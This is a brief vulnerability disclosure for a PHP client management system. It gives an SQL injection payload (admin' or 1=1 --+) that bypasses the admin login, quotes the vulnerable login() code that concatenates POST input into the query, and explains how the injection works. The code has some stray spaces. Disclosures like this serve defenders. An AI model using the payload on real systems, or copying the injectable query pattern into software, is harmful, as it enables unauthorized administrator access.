the simple client management system has unauthorized access
Hello, the simple client management system has unauthorized access
Vulnerability URL:
http://localhost/cms/admin/login.php
http://localhost/cms/login.php
poc:username=admin' or 1=1 --+
password=123456
The source code involved is in / CMS / classes / login .phpIn the login () method of PHP:
----------------------------------------------------------------------------------------------
public function login(){
extract($_POST);
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password')");
if($qry->num_rows > 0){
foreach($qry->fetch_array() as $k => $v){
if(!is_numeric($k) && $k != ' password'){
$this->settings->set_ userdata($k,$v);
}
}
$this->settings->set_ userdata('login_type',1);
return json_ encode(array('status'=>'success'));
}else{
return json_ encode(array('status'=>'incorrect','last_qry'=>"SELECT * from users where username = '$username' and password = md5('$password') "));
}
}
------------------------------------------------------------------------------------------------------
Causes:
When username = admin 'or 1 = 1 -- +, $qry = $this - > conn - > query ("select * from users where username =' admin 'or 1 = 1 -- +' and password = MD5 ($password '));
In this way, you can bypass the mechanism and finally log in to the background as an administrator